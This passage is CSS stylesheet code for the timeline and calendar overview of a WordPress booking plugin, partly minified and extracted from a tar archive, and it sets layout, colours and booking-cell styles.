.flex_tl_row_height { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1 { color: #999; font-weight: 400; overflow: hidden; white-space: nowrap } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a { border-bottom: 0 dashed; color: #789; text-shadow: none; margin: 0 0 0 2px; box-shadow: none; outline: 0; text-decoration: none } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:active, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:focus, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title a:hover { text-decoration: underline; -webkit-text-decoration-style: dashed; text-decoration-style: dashed; text-decoration-thickness: 1px; text-underline-offset: 3px } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title.parent { font-weight: 600 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title.child { margin-left: 20px } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { border-left: 1px solid #eee } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month .in_cell_date_container { border-left: 2px solid #c54 } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6 a, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7 a { color: #c32; background: #fffcf4 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday6 .in_cell_date_container_show_dates, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.flex_tl_weekday7 .in_cell_date_container_show_dates { color: #bd7f78; background: #fffcf4 } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell a, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell a:hover { color: #789; text-decoration: none } .flex_tl_single_resource .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month { display: none } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month { overflow: hidden; height: 1.5em; border-bottom: 1px solid #eee; border-left: 1px solid #eee } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_month_year { color: #c32; font-size: .85em; font-weight: 600; padding: 0 .5em } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour { border-left: 1px solid #eee; border-top: 1px solid #eee; display: -ms-flexbox; display: flex; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; padding: 0 0 0 2px; white-space: nowrap; overflow: hidden; min-height: 12px; font-size: .8em; font-weight: 600 } .flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num, .flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num { font-size: .85em; font-weight: 600; text-align: left; padding: 0 1em } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days.flex_tl_weekday6, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days.flex_tl_weekday7, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks.flex_tl_weekday6, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks.flex_tl_weekday7 { color: #bd7f78 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { border-left: 1px solid #eee; color: #aaa; font-size: .85em; text-shadow: none } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month .in_cell_time_hour:first-child .in_cell_date_container { border-left: 2px solid #c54 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell.new_month.exist_booking_in_cell .in_cell_time_hour:first-child .in_cell_date_container { border-left: 1px solid #c54 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.start_new_booking { border-color: #616f8b } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.past_date { background-color: #f0cf77 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.past_date { background-color: #9099aa; background-color: var(--wpbc_timeline-past-booking-approved-color) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.start_new_booking.booking_trash { border-left: 2px solid #901c1a } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_trash { background-color: #db6f6d } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day { border-left: 1px solid #090 } .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day, .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell.today_date .in_cell_time_section_in_day { border-left: none } .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour.today_time, .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour.today_time { border-left: 1px solid #77ce0f } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id a { font-size: 7px; font-weight: 600; color: #fff; cursor: pointer } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title { background: #777; color: #fff; border-left: 2px solid #555; cursor: pointer; border-radius: 3px; font-size: 10px } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title.several_bookings_in_cell { font-weight: 700; background: #fdab36; color: #455366; border-left: 2px solid #dd8b16 } .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates, .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates { border-left: 1px solid #eee; border-top: 1px solid #eee; font-size: .8em; word-wrap: normal; white-space: nowrap; overflow: hidden; padding: 0 2px } .wpbc_calendar_overview__header { position: relative; width: 100% } .wpbc_calendar_overview__header .nav-tabs { box-shadow: 0 3px 8px #eaeaea; border-bottom: 1px solid #e3e3e3; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center } .wpbc_calendar_overview__header .wpbc_calendar_overview__navigation { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: end; justify-content: flex-end; -ms-flex-align: center; align-items: center; margin: 4px 5px 4px auto } .wpbc_calendar_overview__container { padding: 0 5px 5px; margin-top: 0; border: 1px solid #d5d5d5; background: #fff; font-size: 13px; border-radius: 0 0 3px 3px; box-shadow: 0 0 8px #dadada; margin-bottom: 25px } .wpbc_page_tab__vm_calendar #toolbar_booking_listing.wpbc_timeline_toolbar_container { margin: -21px 0 0!important; position: relative; box-shadow: 0 4px 8px #e4e4e4 } .wpbc_timeline_toolbar_container .wpdvlp-sub-tabs { border-radius: 0 0 2px 2px } .wpbc_page_tab__vm_calendar #toolbar_booking_listing.wpbc_timeline_toolbar_container .wpdvlp-sub-tabs { padding-bottom: 1px } .wpbc_calendar_overview__container .flex_tl_table { border-radius: 0; border-top: none; font-size: 13px } .wpbc_timeline_toolbar_structure { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center } .wpbc_timeline_toolbar_structure > * { margin-top: 0; margin-bottom: 10px; margin-right: 15px } .wpbc_timeline_toolbar_structure > :last-child { margin-left: auto; margin-right: 0 } .wpbc_toolbar_search_by_id_bookings { -ms-flex-item-align: end; align-self: flex-end } @media (max-width:501px) { .wpbc_toolbar_search_by_id_bookings { display: none } } .flex_tl__scrolling_sections { display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: start; align-items: flex-start; overflow-y: auto; scrollbar-width: thin } .flex_tl__scrolling_sections .flex_tl__scrolling_section1 { width: 220px; overflow-x: auto; scrollbar-width: thin; box-shadow: 0 0 3px #9b9b9b; z-index: 1; padding: 0 } .flex_tl__scrolling_sections .flex_tl__scrolling_section1 > div { -ms-flex: 0 1 180px; flex: 0 1 180px; border-right: 1px solid #dfdfdf } .flex_tl__scrolling_sections .flex_tl__scrolling_section1 > div.flex_tl_table_titles { border-right: 1px solid transparent } .flex_tl__scrolling_sections .flex_tl__scrolling_section2 { -ms-flex: 1 1 100%; flex: 1 1 100%; overflow-x: auto } .flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width { min-width: 900px } .flex_tl_single_resource.flex_frame_view_days_num_90 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width { min-width: 350px } .flex_tl_single_resource.flex_frame_view_days_num_365 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width { min-width: 1400px } .flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width { min-width: 900px } .flex_tl_matrix_resources.flex_frame_view_days_num_7 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width { min-width: 300px } .flex_tl_matrix_resources.flex_frame_view_days_num_30 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width { min-width: 1400px } .flex_tl_matrix_resources.flex_frame_view_days_num_60 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width { min-width: 2800px } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 { height: var(--wpbc_timeline-row-header-height); overflow: hidden } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: stretch; align-items: stretch } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 > div, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 > div { -ms-flex: 1 1 100%; flex: 1 1 100% } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id { margin-left: -1px; opacity: .8; background: none; background-color: var(--wpbc_timeline-booking-pending-color) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.start_new_booking { border-left: 2px solid #df8d18 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking { background-color: var(--wpbc_timeline-booking-approved-color) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.past_date { background-color: var(--wpbc_timeline-past-booking-pending-color) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_change_over { border: none; width: 100%; height: 100%; position: absolute; width: calc(100% + 1px); margin: 0 -1px } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_in { background: linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-pending-border-color) 50%,var(--wpbc_timeline-booking-pending-border-color) 52%,var(--wpbc_timeline-booking-pending-color) 52%,var(--wpbc_timeline-booking-pending-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_out { background: linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-pending-color) 50%,var(--wpbc_timeline-booking-pending-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_in { background: linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-approved-border-color) 50%,var(--wpbc_timeline-booking-approved-border-color) 52%,var(--wpbc_timeline-booking-approved-color) 52%,var(--wpbc_timeline-booking-approved-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_out { background: linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-approved-color) 50%,var(--wpbc_timeline-booking-approved-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_in.past_date { background: linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-pending-border-color) 50%,var(--wpbc_timeline-booking-pending-border-color) 52%,var(--wpbc_timeline-past-booking-pending-color) 52%,var(--wpbc_timeline-past-booking-pending-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_out.past_date { background: linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-past-booking-pending-color) 50%,var(--wpbc_timeline-past-booking-pending-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_in.past_date { background: linear-gradient(to bottom right,#fff0 0,#fff0 50%,var(--wpbc_timeline-booking-approved-border-color) 50%,var(--wpbc_timeline-booking-approved-border-color) 52%,var(--wpbc_timeline-past-booking-approved-color) 52%,var(--wpbc_timeline-past-booking-approved-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_out.past_date { background: linear-gradient(to top left,#fff0 0,#fff0 50%,var(--wpbc_timeline-past-booking-approved-color) 50%,var(--wpbc_timeline-past-booking-approved-color) 100%) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:active, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:focus, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:hover { outline: 0; box-shadow: 0 0 0 2px #a6bbe5; box-shadow: 0 0 4px -1px #000; -webkit-text-decoration-style: dashed; text-decoration-style: dashed; text-decoration-thickness: 0; text-underline-offset: 2px } timeline_v2.1.min.css 0000666 00000331007 15165645603 0010437 0 ustar 00 :root{--wpbc_timeline-row-height:35px;--wpbc_timeline-row-header-height:58px;--wpbc_timeline-booking-pending-color:#ffd86c;--wpbc_timeline-past-booking-pending-color:#fff3d2;--wpbc_timeline-booking-pending-border-color:#e49c2d;--wpbc_timeline-booking-approved-color:#5A71A1;--wpbc_timeline-past-booking-approved-color:#8591aa;--wpbc_timeline-booking-approved-border-color:#4B5E85}.flex_tl_table{-ms-flex-flow:column nowrap;flex-flow:column nowrap;box-sizing:border-box}.flex_tl_table .flex_tl_table_header,.flex_tl_table .flex_tl_table_row_bookings,.flex_tl_table .flex_tl_table_titles{-ms-flex:1;flex:1;display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:justify;justify-content:space-between}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1{-ms-flex:0 1 auto;flex:0 1 auto;min-width:0;word-wrap:break-word;display:-ms-flexbox;display:flex;-ms-flex-flow:column nowrap;flex-flow:column nowrap;-ms-flex-pack:center;justify-content:center}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2{-ms-flex:1 1 0px;flex:1 1 0;min-width:0}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2{display:-ms-flexbox;display:flex;-ms-flex-flow:column nowrap;flex-flow:column nowrap;-ms-flex-pack:center;justify-content:center}@media (max-width:782px){.flex_tl_table .flex_tl_table_header,.flex_tl_table .flex_tl_table_row_bookings,.flex_tl_table .flex_tl_table_titles{-ms-flex-flow:row wrap;flex-flow:row wrap}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2{width:100%;-ms-flex:1 1 auto;flex:1 1 auto}}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav{display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:justify;justify-content:space-between;-ms-flex-align:baseline;align-items:baseline;padding:7px 0 0}.flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_title{-ms-flex:1 1 0px;flex:1 1 0;word-break:break-word;min-width:0;color:#777}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar{display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:justify;justify-content:space-between}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell{-ms-flex:1 1 0px;flex:1 1 0;min-width:0;display:-ms-flexbox;display:flex;-ms-flex-flow:column nowrap;flex-flow:column nowrap;-ms-flex-pack:justify;justify-content:space-between}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_month_year{-ms-flex:1;flex:1;display:-ms-flexbox;display:flex;-ms-flex-flow:column wrap;flex-flow:column wrap;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num,.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week{-ms-flex:1;flex:1;font-size:.85em;font-weight:600;text-align:center;display:-ms-flexbox;display:flex;-ms-flex-flow:column;flex-flow:column;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.flex_tl_single_resource .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week{font-size:1em;padding:0}.flex_frame_view_days_num_60 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num,.flex_frame_view_days_num_60 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week{font-size:.85em;font-weight:600}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month.flex_tl_dates_bar .flex_tl_day_cell{border:none}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month .flex_tl_day_cell .in_cell_month_year{overflow:visible;word-wrap:normal;white-space:nowrap}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day{-ms-flex:1;flex:1;display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour{-ms-flex:1 1 0px;flex:1 1 0;min-width:0}.flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container,.flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-align:center;align-items:center}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-pack:distribute;justify-content:space-around}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks{-ms-flex:1 1 0px;flex:1 1 0;text-align:left}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks{text-align:right;padding:0 1em}@media (max-width:782px){.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container{-ms-flex-pack:start;justify-content:flex-start}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks{-ms-flex:0 1 auto;flex:0 1 auto;text-align:left;padding:0 1em}.flex_timeline_frame .popover{width:98%;max-width:98%}}.flex_tl_row_height,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar{min-height:var(--wpbc_timeline-row-height)}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_bookings{margin-top:calc(-1 * var(--wpbc_timeline-row-height))}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles{margin-top:calc(-1 * var(--wpbc_timeline-row-height));overflow:hidden}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar{display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:justify;justify-content:space-between}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .in_cell_time_section_in_day,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .in_cell_time_section_in_day .in_cell_time_hour{-ms-flex:1 1 0px;flex:1 1 0;min-width:0;display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:justify;justify-content:space-between}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates{-ms-flex:1 1 0px;flex:1 1 0;display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center}.flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates,.flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates{-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:start;align-items:flex-start}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings{-ms-flex:1 1 0px;flex:1 1 0;min-width:0;display:-ms-flexbox;display:flex;-ms-flex-flow:column nowrap;flex-flow:column nowrap;-ms-flex-pack:justify;justify-content:space-between;position:relative}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id{-ms-flex:1 1 0px;flex:1 1 0;min-width:0;word-wrap:normal;white-space:nowrap}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.pending_booking{border-bottom:1px dashed #555}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking{border-bottom:1px dashed #ccc;background-color:#78a}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id:last-child{border-bottom:none}.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a,.flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a:active,.flex_tl_table 